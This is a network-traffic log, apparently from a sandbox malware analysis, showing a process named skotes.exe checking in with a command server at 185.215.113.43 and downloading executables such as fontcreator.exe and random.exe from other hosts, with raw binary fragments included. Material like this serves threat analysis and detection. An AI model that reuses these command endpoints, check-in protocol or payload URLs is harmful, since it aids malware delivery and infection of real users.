1	192.168.2.4	49801	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:04.916055918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:57:05.803076982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49817	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:07.313968897 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:57:08.241722107 CET	746	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 32 62 0d 0a 20 3c 63 3e 31 30 30 33 31 34 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 30 39 63 35 35 34 66 61 63 35 36 65 35 35 38 34 62 35 65 31 62 39 64 63 34 65 31 23 31 30 30 33 31 34 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 30 39 63 35 35 34 66 61 63 35 36 65 35 35 38 34 62 35 65 31 62 39 64 63 34 65 31 23 31 30 30 33 31 34 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 31 34 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 [TRUNCATED] Data Ascii: 22b <c>1003142001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd709c554fac56e5584b5e1b9dc4e1#1003143001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd709c554fac56e5584b5e1b9dc4e1#1003144001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1003145001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1003146001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1003147001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49820	31.41.244.11	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:08.326585054 CET	59	OUT	GET /files/fontcreator.exe HTTP/1.1 Host: 31.41.244.11
Nov 1, 2024 10:57:09.189105988 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:09 GMT Content-Type: application/octet-stream Content-Length: 6172760 Last-Modified: Thu, 31 Oct 2024 16:49:02 GMT Connection: keep-alive ETag: "6723b4fe-5e3058" Accept-Ranges: bytes Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0b 00 bd da 90 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 74 0a 00 00 70 02 00 00 00 00 00 bc 83 0a 00 00 10 00 00 00 90 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 c0 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PELftp@^@@pqP^X(R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP@.didata`@.edataqp@@.tls.rdata]@@.reloc@B.rsrc@@
Nov 1, 2024 10:57:09.189172029 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 Data Ascii: @@@Boolean@FalseTrueSystem4@AnsiCharP@Charh@ShortInt@SmallInt
Nov 1, 2024 10:57:09.189186096 CET	1236	IN	Data Raw: 00 a0 10 40 00 01 07 49 6e 74 65 67 65 72 04 00 00 00 80 ff ff ff 7f 02 00 b8 10 40 00 01 04 42 79 74 65 01 00 00 00 00 ff 00 00 00 02 00 00 00 00 d0 10 40 00 01 04 57 6f 72 64 03 00 00 00 00 ff ff 00 00 02 00 00 00 00 e8 10 40 00 01 08 43 61 72 Data Ascii: @Integer@Byte@Word@Cardinal@Pointer@Int648@UInt64X@NativeIntt@NativeUInt
Nov 1, 2024 10:57:09.189212084 CET	1236	IN	Data Raw: 00 00 00 02 0a 45 6e 74 72 79 43 6f 75 6e 74 02 00 00 00 00 00 04 00 00 00 02 07 45 6e 74 72 69 65 73 02 00 02 00 00 00 00 9c 15 40 00 0e 07 54 4d 65 74 68 6f 64 08 00 00 00 00 00 00 00 00 02 00 00 00 00 11 40 00 00 00 00 00 02 04 43 6f 64 65 02 Data Ascii: EntryCountEntries@TMethod@Code@Data(J&op_Equality@@Left@Right(J&op_Inequality@@Left@Right(J&op_GreaterThan@@
Nov 1, 2024 10:57:09.189234972 CET	424	IN	Data Raw: 6c 61 73 73 49 6e 66 6f 03 00 00 11 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 2c 00 28 9c 4a 00 0c 49 6e 73 74 61 6e 63 65 53 69 7a 65 03 00 9c 10 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 3c 00 d4 80 40 Data Ascii: lassInfo@Self,(JInstanceSize@Self<@InheritsFrom@Self@AClass;<@MethodAddress@Self@Name;@MethodAddress@Self@
Nov 1, 2024 10:57:09.189249992 CET	1236	IN	Data Raw: 6c 66 02 00 12 e4 11 40 00 01 00 04 4e 61 6d 65 02 00 02 00 3a 00 94 82 40 00 0c 46 69 65 6c 64 41 64 64 72 65 73 73 03 00 00 11 40 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 04 4e 61 6d 65 02 00 02 00 46 00 04 7f Data Ascii: lf@Name:@FieldAddress@@Self@NameF@GetInterface@@Self@@IID Obj>h@GetInterfaceEntry@Self@@IID1(JGetInterfaceTable,@
Nov 1, 2024 10:57:09.189265013 CET	1236	IN	Data Raw: 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 0d 57 65 61 6b 41 74 74 72 69 62 75 74 65 f8 20 40 00 07 0d 57 65 61 6b 41 74 74 72 69 62 75 74 65 e0 20 40 00 34 20 40 00 00 00 Data Ascii: @@@@@}@}@}@WeakAttribute @WeakAttribute @4 @Systemx!@!@x!@~!@@~@@@@@@@@}@}@}@UnsafeAttribute!@UnsafeAttributex!@4 @Sy
Nov 1, 2024 10:57:09.189280987 CET	424	IN	Data Raw: 09 28 9c 4a 00 05 45 6e 74 65 72 00 00 00 00 00 00 01 0a 9c 1f 40 00 07 41 4f 62 6a 65 63 74 02 00 02 00 09 f0 85 40 00 05 45 6e 74 65 72 00 00 00 10 40 00 02 0a 9c 1f 40 00 07 41 4f 62 6a 65 63 74 02 00 00 e4 10 40 00 07 54 69 6d 65 6f 75 74 02 Data Ascii: (JEnter@AObject@Enter@@AObject@Timeout\|@Exit@AObject @TryEnter@@AObject<@Wait@@AObject@Timeouth@Wait@@AObject@
Nov 1, 2024 10:57:09.189296961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 06 53 79 73 74 65 6d 01 00 ff ff 02 00 00 54 27 40 00 0f 09 49 44 69 73 70 61 74 63 68 e8 26 40 00 01 00 04 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 04 00 ff ff 02 00 00 00 00 cc 83 44 24 04 f8 e9 81 ca Data Ascii: SystemT'@IDispatch&@FSystemD$D$D$'@'@'@F'@&@,(@'@)@,(@S(@q(@$@~@@@@@@@@@}@}@
Nov 1, 2024 10:57:09.189313889 CET	1236	IN	Data Raw: 00 02 08 44 69 6d 43 6f 75 6e 74 02 00 cc 10 40 00 02 00 00 00 02 05 46 6c 61 67 73 02 00 9c 10 40 00 04 00 00 00 02 0b 45 6c 65 6d 65 6e 74 53 69 7a 65 02 00 9c 10 40 00 08 00 00 00 02 09 4c 6f 63 6b 43 6f 75 6e 74 02 00 00 11 40 00 0c 00 00 00 Data Ascii: DimCount@Flags@ElementSize@LockCount@Data+@Bounds,@TVarRecord@PRecord@RecInfo,@TVarData @VType@Rese
Nov 1, 2024 10:57:09.194178104 CET	1236	IN	Data Raw: 00 00 00 00 02 06 56 50 43 68 61 72 02 00 9c 1f 40 00 00 00 00 00 02 07 56 4f 62 6a 65 63 74 02 00 14 13 40 00 00 00 00 00 02 06 56 43 6c 61 73 73 02 00 4c 10 40 00 00 00 00 00 02 09 56 57 69 64 65 43 68 61 72 02 00 10 12 40 00 00 00 00 00 02 0a Data Ascii: VPChar@VObject@VClassL@VWideChar@VPWideChar@VAnsiString@VCurrency@VVariant@VInterface@VWideString*@VInt64@VUnicodeStri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49854	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:13.861675024 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003142001&unit=246122658369
Nov 1, 2024 10:57:14.751693010 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49870	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:17.237299919 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003143001&unit=246122658369
Nov 1, 2024 10:57:18.128679991 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49878	185.215.113.16	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:18.137533903 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 10:57:19.056225061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:18 GMT Content-Type: application/octet-stream Content-Length: 2900480 Last-Modified: Fri, 01 Nov 2024 09:52:08 GMT Connection: keep-alive ETag: "6724a4c8-2c4200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 50 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2f 00 00 04 00 00 3f 9e 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJP/@/?,@Th@ ~@.rsrc@@.idata @xtefpcuz))@uqweurro@/,@.taggant0P/" ,@
Nov 1, 2024 10:57:19.056257010 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:19.056365967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:19.056404114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:19.056415081 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:19.056514978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `qAI}&aYxwj&-6#b/3sIL :Fye2g\XI8U 8#j*!cG%
Nov 1, 2024 10:57:19.056525946 CET	1236	IN	Data Raw: 6e b0 27 88 af 4c c5 fe 93 4f c7 ee 98 f9 64 e6 4d 3c 4a 71 3a 0f 04 a5 2b f2 a8 7a b1 d4 e9 5d 25 8f 64 eb 69 d0 bd 8a 2d 72 93 35 10 b6 b5 5e d4 55 79 90 60 9e a6 f0 54 19 7b 70 4f 7d 46 24 b0 a0 64 92 5e 95 c8 ec 32 4d 1e ca 07 dd 09 91 a0 cf Data Ascii: n'LOdM<Jq:+z]%di-r5^Uy`T{pO}F$d^2M4}^d,u"?$*u:`W2yFK%!$E-/?PG$v2^&H3;rZ#:mVKhqwU],,63r&
Nov 1, 2024 10:57:19.056536913 CET	1236	IN	Data Raw: 24 df c1 40 8c 3b 6d 6e 50 3c 15 c7 44 40 c9 9a e9 8d 13 d7 a7 e1 ad 68 56 21 b3 ab 2b 62 79 26 23 05 a4 ac 26 33 ac eb 1a 55 61 ec e2 bc ab ed 00 a1 60 ee 79 0c a5 fe 5c 5d 67 10 55 0f 90 99 25 65 6f a9 9d 9f e4 2f 14 5d 1a 9f 2a 00 91 1d c6 a6 Data Ascii: $@;mnP<D@hV!+by&#&3Ua`y\]gU%eo/]7:0)-;wo6p#il-cXB0;7,E.l/P/'!):66U"S0M&W5%l+#0,zwv kqEs);.H]i*
Nov 1, 2024 10:57:19.056550026 CET	1236	IN	Data Raw: 3e 43 9e 0d fe 22 c5 bd e4 de c0 5d ec 4d 85 aa f6 cd 81 ef 05 f7 27 aa 6f 40 34 0f 26 24 15 d7 81 a4 b5 37 5a 32 39 3b c4 7c ae 57 ec f4 21 e1 c8 f9 7e ae 36 28 72 49 16 35 c4 6d ed b3 ba d4 75 c3 fe 0e 1b ef 13 07 03 5e 86 ec 3c e5 13 e8 53 4f Data Ascii: >C"]M'o@4&$7Z29;\|W!~6(rI5mu^<SO`#3q'f^"dqA\y7'WLs4Q UDx.V&1_,aoy=+0Z@`acAl&RR?0_1za+zfW-.d>"
Nov 1, 2024 10:57:19.056579113 CET	448	IN	Data Raw: 43 3f 5d ab d3 a8 54 97 29 0a 04 37 2e 83 e3 67 96 2a ec db ad fc 05 95 6c e6 06 e4 ac c3 2e 4a 0e a0 26 91 34 bb af 0c 5a dc a9 a1 27 8e 31 86 d4 5a 08 fd 7a 2c b3 cd b5 ed d6 65 8d a8 3f a4 8e 15 4f 37 0f df 76 f4 aa 14 76 f8 22 df 8a 19 4a 19 Data Ascii: C?]T)7.g*l.J&4Z'1Zz,e?O7vv"JC<\4~3sK3{)cF#LSkiK-D2yMb~&hw[er@@b0p$B<:2.b"<1Q]%lY;d2!]
Nov 1, 2024 10:57:19.061244011 CET	1236	IN	Data Raw: 2a cd 19 15 20 01 95 79 f6 7f 70 b5 f3 4d a9 fa bb 1e 75 fe f2 91 72 09 77 6d 62 b6 54 26 fc 1e 07 24 68 b5 db 20 8e f6 8e db 53 67 85 46 68 98 ee f0 8e ad ec dd 37 8b 2b 14 5f 49 eb 6a bd e3 2b 42 9f e3 31 ad bc f7 8a 1f b1 e5 f3 fd b4 4e 26 19 Data Ascii: * ypMurwmbT&$h SgFh7+_Ij+B1N&1b=4[hehY/c"IBPZ=Fq1eve[j\|%)_G_$@#*,;).v\OzM`(++Kw5\|fp,y"Fvw z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49903	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:23.085333109 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003144001&unit=246122658369
Nov 1, 2024 10:57:24.027578115 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49911	185.215.113.16	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:24.039560080 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 10:57:24.967684984 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:24 GMT Content-Type: application/octet-stream Content-Length: 2134016 Last-Modified: Fri, 01 Nov 2024 09:52:22 GMT Connection: keep-alive ETag: "6724a4d6-209000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 b0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 72 00 00 04 00 00 fd 90 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@r @P.d. p.v@.rsrc .@.idata .@ *.@jfbmubxyX@qpyydaeurj @.taggant0r"n @
Nov 1, 2024 10:57:24.967700005 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:24.967711926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:24.967725992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:24.967740059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:24.967781067 CET	1236	IN	Data Raw: fe c4 03 13 7a 9b 1f 2a 0c 04 3e 7a 45 b6 1c b5 58 68 3f fc 12 46 e1 94 82 a5 ab 86 ce 98 31 4d 05 e6 e9 81 8c 11 9f bf c7 9b 74 a5 23 ed a2 9c 85 51 86 3c 4a 2e 8b fc c4 89 a9 f3 0a 38 32 e4 23 73 dd ab f7 f9 5c 2f ef 24 81 7c 52 74 44 0c 2a b1 Data Ascii: z>zEXh?F1Mt#Q<J.82#s\/$\|RtD9f~Rs=mK93(N)Q0q]T_X<is&delW~!nqROX)NPZ@oo!R[84@<hdplXf{,q#.KZi6
Nov 1, 2024 10:57:24.967793941 CET	448	IN	Data Raw: 84 a3 bb f7 f9 b9 52 7f 68 40 1b 46 f1 a1 9b 75 ee 1d 5c 36 28 2d 55 7e 41 75 48 94 18 63 b4 54 a0 ed 56 ca 42 86 71 13 e6 9c 24 6d 90 35 66 81 45 2c 81 a6 41 73 c8 26 24 90 7d 91 f5 e9 6e e7 28 df 9c 97 1a e9 16 17 3a fe 5a 12 af eb 31 6a db b4 Data Ascii: Rh@Fu\6(-U~AuHcTVBq$m5fE,As&$}n(:Z1jZ{ifbm)P%2xFM+iJ??qm"PF;20+x=NM5~s.o'402sz=3Crb6Nm&n+'Bw^#a
Nov 1, 2024 10:57:24.967806101 CET	1236	IN	Data Raw: 4d e0 53 ce db 7a 21 33 10 4f 73 97 52 2e 3c e2 51 88 da 68 68 97 76 f1 8d 96 7f 72 fc af d3 6b f3 3d 91 08 66 74 42 28 a0 8d a0 97 68 89 29 86 df 70 f5 8a bd e9 51 5c 32 80 3e 7b e2 56 5d cb 6e c9 b3 e9 af 01 9a 4d fc 1c 70 ca 85 1e 15 fc 1e 3e Data Ascii: MSz!3OsR.<Qhhvrk=ftB(h)pQ\2>{V]nMp>,nS;^X1P)$FHxjr~)5w 5eiusb]QGvaNma~2Q+];SY9h3?r\1\23UsNQvCc<(n`
